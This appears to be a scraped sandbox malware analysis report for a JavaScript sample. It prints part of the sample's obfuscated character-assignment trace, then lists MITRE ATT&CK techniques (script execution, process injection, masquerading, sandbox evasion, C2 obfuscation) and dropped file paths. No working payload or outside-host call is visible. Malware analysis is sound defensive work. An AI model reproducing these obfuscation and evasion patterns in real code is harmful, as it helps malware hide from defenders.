694	aucqvcewe = "P";
695	aucqvcewe = "W";
696	aucqvcewe = "A";
697	aucqvcewe = "N";
698	aucqvcewe = "m";
699	aucqvcewe = "r";
700	aucqvcewe = "W";
701	aucqvcewe = "b";
702	aucqvcewe = "w";
703	aucqvcewe = ":";
704	knwpm = "l";
705	knwpm = "t";
706	knwpm = "c";
707	knwpm = "B";
708	knwpm = "E";
709	knwpm = "c";
710	knwpm = "p";
711	knwpm = "u";
712	knwpm = "L";
713	knwpm = "U";
714	zuuyw = "K";
715	zuuyw = "s";
716	zuuyw = "Y";
717	zuuyw = "O";
718	zuuyw = "O";
719	zuuyw = "U";
720	zuuyw = "m";
721	zuuyw = "A";
722	zuuyw = "a";
723	zuuyw = "L";
724	zuuyw = "R";
725	zuuyw = "y";
726	zuuyw = "u";
727	zuuyw = "D";
728	zuuyw = "f";
729	zuuyw = "d";
730	xdgzhhfhf = "s";
731	xdgzhhfhf = "k";
732	xdgzhhfhf = "S";
733	xdgzhhfhf = "V";
734	xdgzhhfhf = "L";
735	xdgzhhfhf = "S";
736	xdgzhhfhf = "l";
737	xdgzhhfhf = "F";
738	xdgzhhfhf = "i";
739	xdgzhhfhf = "X";
740	xdgzhhfhf = "S";
741	xdgzhhfhf = "y";
742	xdgzhhfhf = "T";
743	xdgzhhfhf = "u";
744	xdgzhhfhf = "z";
745	xdgzhhfhf = "L";
746	xdgzhhfhf = "g";
747	xdgzhhfhf = "d";
748	xdgzhhfhf = "D";
749	xdgzhhfhf = "U";
750	xdgzhhfhf = "u";
751	xdgzhhfhf = "r";
752	xdgzhhfhf = "h";
753	xdgzhhfhf = "u";
754	xdgzhhfhf = "I";
755	xdgzhhfhf = "g";
756	xdgzhhfhf = "f";
757	xdgzhhfhf = "d";
758	xdgzhhfhf = "o";
759	xdgzhhfhf = "j";
760	xdgzhhfhf = "x";
761	xdgzhhfhf = "5";
762	jgtqccsrb = "b";
763	jgtqccsrb = "G";
764	jgtqccsrb = "t";
765	jgtqccsrb = "X";
766	jgtqccsrb = "r";
767	jgtqccsrb = "A";
768	jgtqccsrb = "r";
769	jgtqccsrb = "O";
770	jgtqccsrb = "P";
771	jgtqccsrb = "x";
772	jgtqccsrb = "a";
773	jgtqccsrb = "r";
774	jgtqccsrb = "c";
775	vxjuq = "I";
776	vxjuq = "k";
777	vxjuq = "Y";
778	vxjuq = "U";
779	vxjuq = "t";
780	vxjuq = "B";
781	vxjuq = "h";
782	vxjuq = "e";
783	vxjuq = "M";
784	vxjuq = "L";
785	vxjuq = "E";
786	vxjuq = "Q";
787	vxjuq = "U";
788	vxjuq = "A";
789	vxjuq = "H";
790	vxjuq = "V";
791	vxjuq = "n";
792	vxjuq = "L";
793	vxjuq = "p";
794	vxjuq = "w";
795	vxjuq = "M";
796	vxjuq = "V";
797	vxjuq = "P";
798	vxjuq = "B";
799	vxjuq = "a";
800	vxjuq = "u";
801	vxjuq = "y";
802	vxjuq = "i";
803	bbwuz = "X";
804	bbwuz = "b";
805	bbwuz = "I";
806	bbwuz = "i";
807	bbwuz = "B";
808	bbwuz = "G";
809	bbwuz = "B";
810	bbwuz = "k";
811	bbwuz = "c";
812	bbwuz = "f";
813	bbwuz = "u";
814	bbwuz = "R";
815	bbwuz = "N";
816	bbwuz = "b";
817	bbwuz = "Y";
818	bbwuz = "h";
819	bbwuz = "u";
820	bbwuz = "E";
821	bbwuz = "d";
822	bbwuz = "z";
823	bbwuz = "r";
824	bbwuz = "P";
825	bbwuz = "E";
826	bbwuz = "c";
827	bbwuz = "h";
828	bbwuz = "q";
829	bbwuz = "L";
830	bbwuz = "k";
831	bbwuz = "C";
832	bbwuz = "H";
833	bbwuz = "W";
834	bbwuz = "Y";
835	bbwuz = "o";
836	bbwuz = "E";
837	bbwuz = "A";
838	bbwuz = "R";
839	bbwuz = "J";
840	bbwuz = "8";
841	dbkhplze = "Y";
842	dbkhplze = "m";
843	dbkhplze = "M";
844	dbkhplze = "G";
845	dbkhplze = "D";
846	dbkhplze = "C";
847	dbkhplze = "G";
848	dbkhplze = "a";
849	dbkhplze = "X";
850	dbkhplze = "\\";
851	yvzjis = "P";
852	yvzjis = "l";
853	yvzjis = "A";
854	yvzjis = "F";
855	yvzjis = "F";
856	yvzjis = "e";
857	yvzjis = "m";
858	yvzjis = "l";
859	piibbeq = "v";
860	piibbeq = "C";
861	piibbeq = "Q";
862	piibbeq = "r";
863	piibbeq = "L";
864	piibbeq = "r";
865	piibbeq = "w";
866	piibbeq = "w";
867	piibbeq = "I";
868	piibbeq = "Z";
869	piibbeq = "o";
870	piibbeq = "R";
871	piibbeq = "h";
872	piibbeq = "z";
873	piibbeq = "w";
874	piibbeq = "X";
875	piibbeq = "c";
876	piibbeq = "M";
877	piibbeq = "B";
878	piibbeq = "F";
879	piibbeq = "Y";
880	piibbeq = "C";
881	piibbeq = "i";
882	piibbeq = "C";
883	piibbeq = "Z";
884	piibbeq = "V";
885	piibbeq = "K";
886	piibbeq = "s";
887	piibbeq = "w";
888	piibbeq = "T";
889	piibbeq = "Z";
890	piibbeq = "o";
891	piibbeq = "S";
892	piibbeq = "f";
893	piibbeq = "P";
894	piibbeq = "a";
895	piibbeq = "L";
896	bhnnb = "Y";
897	bhnnb = "O";
898	bhnnb = "r";
899	bhnnb = "h";
900	bhnnb = "c";
901	bhnnb = "p";
902	bhnnb = "J";
903	bhnnb = "u";
904	bhnnb = "E";
905	bhnnb = "P";
906	bhnnb = "n";
907	bhnnb = "V";
908	bhnnb = "z";
909	bhnnb = "t";
910	bhnnb = "m";
911	bhnnb = "y";
912	bhnnb = "x";
913	bhnnb = "m";
914	bhnnb = "0";
915	tvyysvg = "g";
916	tvyysvg = "M";
917	tvyysvg = "y";
918	tvyysvg = "Z";
919	tvyysvg = "M";
920	tvyysvg = "Z";
921	tvyysvg = "P";
922	tvyysvg = "Y";
923	tvyysvg = "m";
924	tvyysvg = "d";
925	tvyysvg = "j";
926	tvyysvg = "D";
927	tvyysvg = "T";
928	tvyysvg = "z";
929	tvyysvg = "v";
930	tvyysvg = "V";
931	tvyysvg = "w";
932	glmnjqdz = "J";
933	glmnjqdz = "i";
934	glmnjqdz = "t";
935	glmnjqdz = "n";
936	glmnjqdz = "l";
937	glmnjqdz = "T";
938	glmnjqdz = "X";
939	glmnjqdz = "j";
940	glmnjqdz = "h";
941	glmnjqdz = "X";
942	glmnjqdz = "g";
943	glmnjqdz = "I";
944	glmnjqdz = "k";
945	glmnjqdz = "x";
946	glmnjqdz = "H";
947	glmnjqdz = "z";
948	glmnjqdz = "W";
949	glmnjqdz = "D";
950	glmnjqdz = "X";
951	glmnjqdz = "n";
952	glmnjqdz = "h";
953	glmnjqdz = "V";
954	glmnjqdz = "V";
955	glmnjqdz = "G";
956	glmnjqdz = "s";
957	glmnjqdz = "T";
958	glmnjqdz = "u";
959	glmnjqdz = "A";
960	glmnjqdz = "w";
961	glmnjqdz = "O";
962	glmnjqdz = "h";
963	glmnjqdz = "6";
964	xnpbeul = "h";
965	xnpbeul = "y";
966	xnpbeul = "l";
967	xnpbeul = "E";
968	xnpbeul = "q";
969	xnpbeul = "D";
970	xnpbeul = "R";
971	xnpbeul = "c";
972	xnpbeul = "T";
973	xnpbeul = "l";
974	xnpbeul = "w";
975	xnpbeul = "k";
976	xnpbeul = "m";
977	xnpbeul = "T";
978	xnpbeul = "m";
979	xnpbeul = "J";
980	xnpbeul = "e";
981	bopsr = "J";
982	bopsr = "j";
983	bopsr = "c";
984	bopsr = "v";
985	bopsr = "m";
986	bopsr = "P";
987	bopsr = "x";
988	bopsr = "c";
989	bopsr = "z";
990	bopsr = "K";
991	bopsr = "U";
992	bopsr = "k";
993	bopsr = "P";
994	bopsr = "K";
995	bopsr = "e";
996	bopsr = "V";
997	bopsr = "g";
998	bopsr = "T";
999	niqtike = "Z";
1000	niqtike = "S";
1001	niqtike = "r";
1002	niqtike = "q";
1003	niqtike = "J";
1004	niqtike = "z";
1005	niqtike = "D";
1006	niqtike = "l";
1007	niqtike = "s";
1008	niqtike = "U";
1009	niqtike = "f";
1010	niqtike = "S";
1011	niqtike = "F";
1012	niqtike = "e";
1013	niqtike = "P";
1014	niqtike = "l";
1015	niqtike = "F";
1016	niqtike = "K";
1017	niqtike = "O";
1018	niqtike = "W";
1019	niqtike = "c";
1020	niqtike = "J";
1021	niqtike = "l";
1022	niqtike = "b";
1023	niqtike = "z";
1024	niqtike = "K";
1025	niqtike = "g";
1026	niqtike = "X";
1027	niqtike = "X";
1028	niqtike = "P";
1029	niqtike = "L";
1030	niqtike = "U";
1031	niqtike = "j";
1032	niqtike = "M";
1033	niqtike = "v";
1034	niqtike = "g";
1035	niqtike = "f";
1036	niqtike = "q";
1037	niqtike = "l";
1038	niqtike = "G";
1039	niqtike = "H";
1040	niqtike = "t";
1041	niqtike = "n";
1042	niqtike = "q";
1043	niqtike = "R";
1044	twwbmq = "i";
1045	twwbmq = "s";
1046	twwbmq = "Q";
1047	twwbmq = "j";
1048	twwbmq = "A";
1049	twwbmq = "L";
1050	twwbmq = "h";
1051	twwbmq = "E";
1052	twwbmq = "g";
1053	twwbmq = "t";
1054	twwbmq = "T";
1055	twwbmq = "x";
1056	twwbmq = "R";
1057	twwbmq = "n";
1058	twwbmq = "f";
1059	twwbmq = "j";
1060	twwbmq = "J";
1061	twwbmq = "q";
1062	twwbmq = "J";
1063	twwbmq = "O";
1064	twwbmq = "W";
1065	twwbmq = "w";
1066	twwbmq = "C";
1067	twwbmq = "U";
1068	twwbmq = "G";
1069	twwbmq = "g";
1070	twwbmq = "b";
1071	mpenltsl = "L";
1072	mpenltsl = "R";
1073	mpenltsl = "H";
1074	mpenltsl = "x";
1075	mpenltsl = "m";
1076	mpenltsl = "L";
1077	mpenltsl = "a";
1078	mpenltsl = "j";
1079	mpenltsl = "J";
1080	mpenltsl = "i";
1081	mpenltsl = "y";
1082	mpenltsl = "r";
1083	mpenltsl = "d";
1084	mpenltsl = "a";
1085	mpenltsl = "r";
1086	mpenltsl = "b";
1087	mpenltsl = "Z";
1088	mpenltsl = "b";
1089	mpenltsl = "I";
1090	mpenltsl = "x";
1091	mpenltsl = "D";
1092	mpenltsl = "Y";
1093	mpenltsl = "l";
1094	mpenltsl = "V";
1095	mpenltsl = "q";
1096	mpenltsl = "I";
1097	mpenltsl = "r";
1098	mpenltsl = "V";
1099	mpenltsl = "V";
1100	mpenltsl = "T";
1101	mpenltsl = "B";
1102	mpenltsl = "H";
1103	mpenltsl = "B";
1104	mpenltsl = "L";
1105	mpenltsl = "I";
1106	mpenltsl = "a";
1107	mpenltsl = "b";
1108	mpenltsl = "P";
1109	mpenltsl = "S";
1110	mpenltsl = "k";
1111	mpenltsl = "Y";
1112	mpenltsl = "F";
1113	mpenltsl = "C";
1114	mpenltsl = "l";
1115	mpenltsl = "9";
1116	fmqzksfi = "k";
1117	fmqzksfi = "w";
1118	fmqzksfi = "T";
1119	fmqzksfi = "U";
1120	fmqzksfi = "L";
1121	fmqzksfi = "b";
1122	fmqzksfi = "Q";
1123	fmqzksfi = "D";
1124	fmqzksfi = "i";
1125	fmqzksfi = "X";
1126	fmqzksfi = "T";
1127	fmqzksfi = "P";
1128	fmqzksfi = "f";
1129	fmqzksfi = "M";
1130	fmqzksfi = "p";
1131	fmqzksfi = "E";
1132	fmqzksfi = "\"";
1133	wdgvasegr = "q";
1134	wdgvasegr = "O";
1135	zkgldrq = "e";
1136	zkgldrq = "b";
1137	zkgldrq = "H";
1138	zkgldrq = "e";
1139	zkgldrq = "c";
1140	zkgldrq = "I";
1141	zkgldrq = "d";
1142	zkgldrq = "U";
1143	zkgldrq = "R";
1144	zkgldrq = "g";
1145	zkgldrq = "p";
1146	zkgldrq = "u";
1147	kzdir = "N";
1148	kzdir = "M";
1149	kzdir = "r";
1150	kzdir = "w";
1151	kzdir = "F";
1152	oeaubqy = "s";
1153	oeaubqy = "N";
1154	oeaubqy = "s";
1155	oeaubqy = "U";
1156	oeaubqy = "M";
1157	oeaubqy = "c";
1158	oeaubqy = "Y";
1159	oeaubqy = "S";
1160	oeaubqy = "g";
1161	oeaubqy = "x";
1162	oeaubqy = "H";
1163	oeaubqy = "F";
1164	oeaubqy = "T";
1165	oeaubqy = "W";
1166	oeaubqy = "A";
1167	oeaubqy = "X";
1168	oeaubqy = "w";
1169	oeaubqy = "E";
1170	oeaubqy = "B";
1171	oeaubqy = "S";
1172	oeaubqy = "s";
1173	oeaubqy = "O";
1174	oeaubqy = "X";
1175	oeaubqy = "Z";
1176	oeaubqy = "v";
1177	oeaubqy = "Z";
1178	oeaubqy = "N";
1179	oeaubqy = "v";
1180	oeaubqy = "j";
1181	oeaubqy = "Z";
1182	oeaubqy = "o";
1183	oeaubqy = "w";
1184	oeaubqy = "c";
1185	oeaubqy = "r";
1186	oeaubqy = "e";
1187	oeaubqy = "y";
1188	oeaubqy = "U";
1189	oeaubqy = "-";
1190	nvhngm = "t";
1191	nvhngm = "A";
1192	nvhngm = "r";
1193	nvhngm = "p";
1194	nvhngm = "f";
1195	nvhngm = "F";
1196	nvhngm = "b";
1197	nvhngm = "x";
1198	nvhngm = "K";
1199	nvhngm = "X";
1200	nvhngm = "p";
1201	nvhngm = "K";
1202	uoica = "k";
1203	uoica = "q";
1204	uoica = "h";
1205	uoica = "s";
1206	uoica = "i";
1207	uoica = "G";
1208	uoica = "J";
1209	uoica = "V";
1210	uoica = "H";
1211	uoica = "t";
1212	uoica = "C";
1213	uoica = "v";
1214	uoica = "c";
1215	uoica = "x";
1216	kznzlopke = "l";
1217	kznzlopke = "y";
1218	kznzlopke = "c";
1219	kznzlopke = "d";
1220	kznzlopke = "Z";
1221	kznzlopke = "B";
1222	kznzlopke = "g";
1223	kznzlopke = "s";
1224	kznzlopke = "w";
1225	kznzlopke = "v";
1226	kznzlopke = "f";
1227	kznzlopke = "a";
1228	kznzlopke = "j";
1229	kznzlopke = "y";
1230	kznzlopke = "x";
1231	kznzlopke = "F";
1232	kznzlopke = "t";
1233	kznzlopke = "V";
1234	kznzlopke = "i";
1235	kznzlopke = "P";
1236	kznzlopke = "n";
1237	kznzlopke = "M";
1238	kznzlopke = "m";
1239	kznzlopke = "j";
1240	kznzlopke = "V";
1241	kznzlopke = "x";
1242	kznzlopke = "m";
1243	kznzlopke = "H";
1244	kznzlopke = "a";
1245	kznzlopke = "F";
1246	kznzlopke = "q";
1247	kznzlopke = "L";
1248	kznzlopke = "i";
1249	kznzlopke = "v";
1250	brhwyjqg = "T";
1251	brhwyjqg = "e";
1252	brhwyjqg = "v";
1253	brhwyjqg = "Z";
1254	brhwyjqg = "O";
1255	brhwyjqg = "H";
1256	brhwyjqg = "p";
1257	brhwyjqg = "f";
1258	brhwyjqg = "f";
1259	brhwyjqg = "n";
1260	brhwyjqg = "N";
1261	brhwyjqg = "o";
1262	brhwyjqg = "L";
1263	brhwyjqg = "E";
1264	brhwyjqg = "x";
1265	brhwyjqg = "W";
1266	brhwyjqg = "P";
1267	brhwyjqg = "A";
1268	brhwyjqg = "l";
1269	brhwyjqg = "k";
1270	brhwyjqg = "M";
1271	brhwyjqg = "W";
1272	brhwyjqg = "R";
1273	brhwyjqg = "w";
1274	brhwyjqg = "d";
1275	brhwyjqg = "Y";
1276	brhwyjqg = "V";
1277	brhwyjqg = "u";
1278	brhwyjqg = "S";
1279	brhwyjqg = "i";
1280	brhwyjqg = "g";
1281	brhwyjqg = "a";
1282	brhwyjqg = "B";
1283	brhwyjqg = "I";
1284	brhwyjqg = "L";
1285	brhwyjqg = "Y";
1286	brhwyjqg = "p";
1287	brhwyjqg = "w";
1288	brhwyjqg = "E";
1289	brhwyjqg = "U";
1290	brhwyjqg = "/";
1291	wbgllxond = "T";
1292	wbgllxond = "z";
1293	wbgllxond = "I";
1294	wbgllxond = "j";
1295	wbgllxond = "C";
1296	wbgllxond = "s";
1297	wbgllxond = "n";
1298	wbgllxond = "N";
1299	wbgllxond = "Q";
1300	wbgllxond = "W";
1301	wbgllxond = "u";
1302	wbgllxond = "m";
1303	wbgllxond = "H";
1304	wbgllxond = "p";
1305	wbgllxond = "B";
1306	wbgllxond = "W";
1307	wbgllxond = "Y";
1308	wbgllxond = "D";
1309	wbgllxond = "Q";
1310	wbgllxond = "h";
1311	wogoxqce = "X";
1312	wogoxqce = "i";
1313	wogoxqce = "B";
1314	wogoxqce = "m";
1315	wogoxqce = "q";
1316	wogoxqce = "k";
1317	wogoxqce = "h";
1318	wogoxqce = "C";
1319	wogoxqce = "h";
1320	wogoxqce = "t";
1321	wogoxqce = "B";
1322	wogoxqce = "s";
1323	wogoxqce = "P";
1324	wogoxqce = "V";
1325	wogoxqce = "n";
1326	wogoxqce = "G";
1327	wogoxqce = "E";
1328	wogoxqce = "r";
1329	wogoxqce = "P";
1330	wogoxqce = "J";
1331	wogoxqce = "m";
1332	wogoxqce = "H";
1333	wogoxqce = "l";
1334	wogoxqce = "L";
1335	wogoxqce = "R";
1336	wogoxqce = "W";
1337	wogoxqce = "z";
1338	wogoxqce = "q";
1339	wogoxqce = "g";
1340	wogoxqce = "A";
1341	wogoxqce = "V";
1342	wogoxqce = "Q";
1343	wogoxqce = "B";
1344	wogoxqce = "T";
1345	wogoxqce = "s";
1346	wogoxqce = "Y";
1347	fidtcv = "Y";
1348	fidtcv = "r";
1349	fidtcv = "z";
1350	fidtcv = "z";
1351	fidtcv = "A";
1352	fidtcv = "S";
1353	fidtcv = "b";
1354	fidtcv = "F";
1355	fidtcv = "D";
1356	fidtcv = "P";
1357	fidtcv = "O";
1358	fidtcv = "o";
1359	fidtcv = "f";
1360	zaidtge = "R";
1361	zaidtge = "b";
1362	zaidtge = "k";
1363	zaidtge = "S";
1364	zaidtge = "k";
1365	zaidtge = "U";
1366	zaidtge = "m";
1367	zaidtge = "i";
1368	zaidtge = "a";
1369	zaidtge = "D";
1370	zaidtge = "w";
1371	zaidtge = "b";
1372	zaidtge = "V";
1373	zaidtge = "j";
1374	zaidtge = "j";
1375	zaidtge = "w";
1376	zaidtge = "a";
1377	zaidtge = "B";
1378	zaidtge = "i";
1379	zaidtge = "h";
1380	zaidtge = "B";
1381	zaidtge = "O";
1382	zaidtge = "i";
1383	zaidtge = "f";
1384	zaidtge = "b";
1385	zaidtge = "E";
1386	zaidtge = "X";
1387	zaidtge = "n";
1388	zaidtge = "n";
1389	zaidtge = "3";
1390	kisxwcxa ( );	kisxwcxa() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 301901880157741390.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cb8e5c9d-a659-4fd4-82d1-db76c09c68cf.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

